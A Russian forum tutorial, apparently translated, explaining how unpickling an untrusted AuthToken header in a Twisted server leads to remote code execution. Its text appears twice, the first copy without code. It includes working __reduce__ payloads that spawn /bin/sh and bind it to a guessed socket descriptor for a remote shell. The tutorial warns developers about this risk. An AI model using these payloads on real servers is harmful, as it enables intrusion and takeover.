Все части
Привет! Если вы программируете на Python, вы, вероятно, знакомы с библиотекой сериализации pickle, которая обеспечивает эффективную двоичную сериализацию и загрузку типов данных Python. Будем надеяться, что вы также знакомы с предупреждением, которое находится в начале документации о pickle. Вот оно:
Предупреждение. Модуль pickle не предназначен для защиты от вредоносных данных. Никогда не работайте с данными, которые были получены от ненадежного или не прошедшего проверку подлинности источника.
Недавно, я наткнулся на проект, который принимал и распаковывал ненадёжные данные по сети, используя модуль pickle. Опрос некоторых друзей показал, что немногие из них знали о том, насколько легко эксплуатировать этот сервис. Таким образом, эта статья рассказывает о том, насколько легко эксплуатировать эту уязвимость, используя упрощенную версию кода, который я недавно встретил в качестве примера. Здесь я не описываю ничего нового, но вам будет интересно, если вы не знакомы с этой проблемой.
Уязвимым кодом был Twisted сервер, который работал через SSL. Уязвимый код, который я встретил, выглядел примерно так:
Итак, если мы просто отправим запрос, который выглядит примерно так:
То сервер распакует его.
Удалённое исполнение кода
Pickle позволяет нам представлять произвольные объекты. Очевидной целью является подпроцесс Python.Popen. Если мы сможем обмануть процесс создания одного из них, он выполнит для нас произвольные команды! Однако, мы не можем просто создать объект Popen и запаковать его; По различным причинам это не сработает. Мы могли бы прочитать его в формате «pickle» и построить поток вручную, но, оказывается, в этом нет необходимости.
Pickle позволяет произвольным объектам объявлять, как их следует распаковывать, определяя метод __reduce__, который должен возвращать либо строку, либо кортеж, описывающий, как восстановить этот объект при распаковке. В простейшей форме этот кортеж должен просто содержать:
Итак, мы можем создать pickle объект, который, выполнит для нас команду "/bin/sh", следующим образом:
Получение удаленной командной оболочки
На данный момент мы можем выполнять произвольные команды оболочки в целевом объекте, и есть несколько способов, которыми мы могли бы загрузиться отсюда до интерактивной оболочки и всего, что нам захочется.
Для полноты картины, я объясню, что я сделал. Subprocess.Popen позволяет нам выбирать, какие дескрипторы файлов присоединяться к stdin, stdout и stderr для нового процесса, передавая целые числа для аргументов stdin и аналогично названных, поэтому мы можем открыть наш "/bin/sh" на произвольно пронумерованных файловый дескриптор.
Однако, как упоминалось выше, целевой сервер использует Twisted, и он обслуживает все запросы в одном потоке, используя асинхронную модель управления событиями. Это означает, что мы не можем уверенно предсказать, какой файловый дескриптор на сервере будет соответствовать нашему сокету, поскольку он зависит от того, сколько других клиентов подключено.
Однако, это также означает, что каждый раз, когда мы подключаемся к серверу, мы открываем новый сокет внутри одного и того же процесса сервера. Итак, давайте предположим, что на сервере меньше чем 20 одновременных подключений на данный момент. Если мы подключимся к сокету сервера 20 раз, то это откроет 20 новых файловых дескрипторов на сервере. Поскольку они будут назначены последовательно, у одного из них почти наверняка будет файловый дескриптор 20. Затем мы сможем создать pickle объект, подобный этому, и отправить его:
Вот таким вот легким способом мы можем получить удалённую командную оболочку на сервере.Ну, на этом всё. Спасибо за внимание!
Привет! Если вы программируете на Python, вы, вероятно, знакомы с библиотекой сериализации pickle, которая обеспечивает эффективную двоичную сериализацию и загрузку типов данных Python. Будем надеяться, что вы также знакомы с предупреждением, которое находится в начале документации о pickle. Вот оно:
Предупреждение. Модуль pickle не предназначен для защиты от вредоносных данных. Никогда не работайте с данными, которые были получены от ненадежного или не прошедшего проверку подлинности источника.
Недавно, я наткнулся на проект, который принимал и распаковывал ненадёжные данные по сети, используя модуль pickle. Опрос некоторых друзей показал, что немногие из них знали о том, насколько легко эксплуатировать этот сервис. Таким образом, эта статья рассказывает о том, насколько легко эксплуатировать эту уязвимость, используя упрощенную версию кода, который я недавно встретил в качестве примера. Здесь я не описываю ничего нового, но вам будет интересно, если вы не знакомы с этой проблемой.
Уязвимым кодом был Twisted сервер, который работал через SSL. Уязвимый код, который я встретил, выглядел примерно так:
Python:
class VulnerableProtocol(protocol.Protocol):
def dataReceived(self, data):
# Код для анализа входящих данных в соответствии с
# Внутренний форматом
# Если закончили получать заголовки, то вызывается verifyAuth (), чтобы проверить подлинность
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
Итак, если мы просто отправим запрос, который выглядит примерно так:
Код:
AuthToken: <pickle>
То сервер распакует его.
Удалённое исполнение кода
Pickle позволяет нам представлять произвольные объекты. Очевидной целью является подпроцесс Python.Popen. Если мы сможем обмануть процесс создания одного из них, он выполнит для нас произвольные команды! Однако, мы не можем просто создать объект Popen и запаковать его; По различным причинам это не сработает. Мы могли бы прочитать его в формате «pickle» и построить поток вручную, но, оказывается, в этом нет необходимости.
Pickle позволяет произвольным объектам объявлять, как их следует распаковывать, определяя метод __reduce__, который должен возвращать либо строку, либо кортеж, описывающий, как восстановить этот объект при распаковке. В простейшей форме этот кортеж должен просто содержать:
- Вызываемый объект (который должен быть либо классом, либо удовлетворять некоторым другим, более сложным, ограничениям)
- Кортеж аргументов для вызова объекта.
Итак, мы можем создать pickle объект, который, выполнит для нас команду "/bin/sh", следующим образом:
Python:
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
Получение удаленной командной оболочки
На данный момент мы можем выполнять произвольные команды оболочки в целевом объекте, и есть несколько способов, которыми мы могли бы загрузиться отсюда до интерактивной оболочки и всего, что нам захочется.
Для полноты картины, я объясню, что я сделал. Subprocess.Popen позволяет нам выбирать, какие дескрипторы файлов присоединяться к stdin, stdout и stderr для нового процесса, передавая целые числа для аргументов stdin и аналогично названных, поэтому мы можем открыть наш "/bin/sh" на произвольно пронумерованных файловый дескриптор.
Однако, как упоминалось выше, целевой сервер использует Twisted, и он обслуживает все запросы в одном потоке, используя асинхронную модель управления событиями. Это означает, что мы не можем уверенно предсказать, какой файловый дескриптор на сервере будет соответствовать нашему сокету, поскольку он зависит от того, сколько других клиентов подключено.
Однако, это также означает, что каждый раз, когда мы подключаемся к серверу, мы открываем новый сокет внутри одного и того же процесса сервера. Итак, давайте предположим, что на сервере меньше чем 20 одновременных подключений на данный момент. Если мы подключимся к сокету сервера 20 раз, то это откроет 20 новых файловых дескрипторов на сервере. Поскольку они будут назначены последовательно, у одного из них почти наверняка будет файловый дескриптор 20. Затем мы сможем создать pickle объект, подобный этому, и отправить его:
Python:
import cPickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
fd = 20
return (subprocess.Popen,
(('/bin/sh',), # аргументы
0, # размер буфера
None, # выполняемый
fd, fd, fd # std{in,out,err}
))
print base64.b64encode(cPickle.dumps(Exploit()))
Вот таким вот легким способом мы можем получить удалённую командную оболочку на сервере.Ну, на этом всё. Спасибо за внимание!
Последнее редактирование: